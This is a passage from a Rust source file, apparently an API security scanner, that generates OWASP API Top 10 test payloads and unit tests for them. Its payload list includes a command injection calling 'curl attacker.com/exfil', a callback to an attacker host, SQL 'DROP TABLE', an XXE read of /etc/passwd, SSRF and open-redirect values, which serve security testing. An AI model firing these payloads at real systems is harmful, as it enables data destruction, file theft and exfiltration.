825                description: "Legacy API prefix".to_string(),
826                value: "/legacy/".to_string(),
827                injection_point: InjectionPoint::PathParam,
828                expected_if_vulnerable: ExpectedBehavior::EndpointExists,
829                notes: None,
830            },
831            OwaspPayload {
832                category: OwaspCategory::Api9ImproperInventory,
833                description: "Beta API prefix".to_string(),
834                value: "/beta/".to_string(),
835                injection_point: InjectionPoint::PathParam,
836                expected_if_vulnerable: ExpectedBehavior::EndpointExists,
837                notes: None,
838            },
839            OwaspPayload {
840                category: OwaspCategory::Api9ImproperInventory,
841                description: "Staging API prefix".to_string(),
842                value: "/staging/".to_string(),
843                injection_point: InjectionPoint::PathParam,
844                expected_if_vulnerable: ExpectedBehavior::EndpointExists,
845                notes: None,
846            },
847        ]);
848
849        payloads
850    }
851
852    /// API10: Unsafe Consumption of APIs payloads
853    fn generate_unsafe_consumption_payloads(&self) -> Vec<OwaspPayload> {
854        vec![
855            // Callback/webhook injection
856            OwaspPayload {
857                category: OwaspCategory::Api10UnsafeConsumption,
858                description: "Webhook URL injection (internal)".to_string(),
859                value: r#"{"webhook_url": "http://127.0.0.1:8080/internal"}"#.to_string(),
860                injection_point: InjectionPoint::Body,
861                expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
862                notes: Some("Inject internal URL as webhook destination".to_string()),
863            },
864            OwaspPayload {
865                category: OwaspCategory::Api10UnsafeConsumption,
866                description: "Callback URL injection".to_string(),
867                value: r#"{"callback_url": "http://attacker.com/collect"}"#.to_string(),
868                injection_point: InjectionPoint::Body,
869                expected_if_vulnerable: ExpectedBehavior::Custom("Callback made to attacker".to_string()),
870                notes: None,
871            },
872            // Data passed to third-party - injection payloads
873            OwaspPayload {
874                category: OwaspCategory::Api10UnsafeConsumption,
875                description: "SQL injection in third-party field".to_string(),
876                value: r#"{"external_id": "'; DROP TABLE users;--"}"#.to_string(),
877                injection_point: InjectionPoint::Body,
878                expected_if_vulnerable: ExpectedBehavior::Custom("Payload passed unsanitized".to_string()),
879                notes: Some("Injection payload in field passed to external service".to_string()),
880            },
881            OwaspPayload {
882                category: OwaspCategory::Api10UnsafeConsumption,
883                description: "Command injection in integration field".to_string(),
884                value: r#"{"integration_data": "$(curl attacker.com/exfil)"}"#.to_string(),
885                injection_point: InjectionPoint::Body,
886                expected_if_vulnerable: ExpectedBehavior::Custom("Command execution".to_string()),
887                notes: None,
888            },
889            OwaspPayload {
890                category: OwaspCategory::Api10UnsafeConsumption,
891                description: "SSTI in template field".to_string(),
892                value: r#"{"template": "{{7*7}}"}"#.to_string(),
893                injection_point: InjectionPoint::Body,
894                expected_if_vulnerable: ExpectedBehavior::Custom("Template evaluated (49)".to_string()),
895                notes: Some("Server-side template injection in field passed downstream".to_string()),
896            },
897            OwaspPayload {
898                category: OwaspCategory::Api10UnsafeConsumption,
899                description: "XXE in XML field".to_string(),
900                value: r#"{"xml_data": "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>"}"#.to_string(),
901                injection_point: InjectionPoint::Body,
902                expected_if_vulnerable: ExpectedBehavior::InternalDataExposure,
903                notes: None,
904            },
905            // Redirect manipulation
906            OwaspPayload {
907                category: OwaspCategory::Api10UnsafeConsumption,
908                description: "Open redirect in return URL".to_string(),
909                value: r#"{"return_url": "https://evil.com"}"#.to_string(),
910                injection_point: InjectionPoint::Body,
911                expected_if_vulnerable: ExpectedBehavior::Custom("Open redirect".to_string()),
912                notes: Some("Inject external URL in redirect parameter".to_string()),
913            },
914            OwaspPayload {
915                category: OwaspCategory::Api10UnsafeConsumption,
916                description: "Open redirect with protocol".to_string(),
917                value: r#"{"redirect": "javascript:alert(1)"}"#.to_string(),
918                injection_point: InjectionPoint::Body,
919                expected_if_vulnerable: ExpectedBehavior::Custom("Dangerous protocol accepted".to_string()),
920                notes: None,
921            },
922        ]
923    }
924
925    /// Generate deeply nested JSON for resource exhaustion testing
926    fn generate_deep_json(depth: usize) -> String {
927        let mut json = String::from(r#"{"a":"#);
928        for _ in 0..depth {
929            json.push_str(r#"{"a":"#);
930        }
931        json.push_str("1");
932        for _ in 0..=depth {
933            json.push('}');
934        }
935        json
936    }
937}
938
939#[cfg(test)]
940mod tests {
941    use super::*;
942
943    #[test]
944    fn test_generate_all_payloads() {
945        let config = OwaspApiConfig::default();
946        let generator = OwaspPayloadGenerator::new(config);
947        let payloads = generator.generate_all();
948
949        // Should have payloads for all categories
950        assert!(!payloads.is_empty());
951
952        // Check we have payloads from multiple categories
953        let categories: std::collections::HashSet<_> =
954            payloads.iter().map(|p| p.category).collect();
955        assert!(categories.len() > 5);
956    }
957
958    #[test]
959    fn test_generate_bola_payloads() {
960        let config = OwaspApiConfig::default();
961        let generator = OwaspPayloadGenerator::new(config);
962        let payloads = generator.generate_bola_payloads();
963
964        assert!(!payloads.is_empty());
965        assert!(payloads.iter().all(|p| p.category == OwaspCategory::Api1Bola));
966    }
967
968    #[test]
969    fn test_generate_ssrf_payloads() {
970        let config = OwaspApiConfig::default();
971        let generator = OwaspPayloadGenerator::new(config);
972        let payloads = generator.generate_ssrf_payloads();
973
974        assert!(!payloads.is_empty());
975        // Should include cloud metadata URLs
976        assert!(payloads.iter().any(|p| p.value.contains("169.254.169.254")));
977    }
978
979    #[test]
980    fn test_generate_deep_json() {
981        let json = OwaspPayloadGenerator::generate_deep_json(3);
982        assert!(json.contains("\"a\":"));
983        // Verify it's valid JSON by checking brace balance
984        assert_eq!(json.matches('{').count(), json.matches('}').count());
985    }
986
987    #[test]
988    fn test_specific_categories() {
989        let config = OwaspApiConfig::default()
990            .with_categories([OwaspCategory::Api1Bola, OwaspCategory::Api7Ssrf]);
991        let generator = OwaspPayloadGenerator::new(config);
992        let payloads = generator.generate_all();
993
994        // Should only have payloads from the specified categories
995        assert!(payloads.iter().all(
996            |p| p.category == OwaspCategory::Api1Bola || p.category == OwaspCategory::Api7Ssrf
997        ));
998    }
999}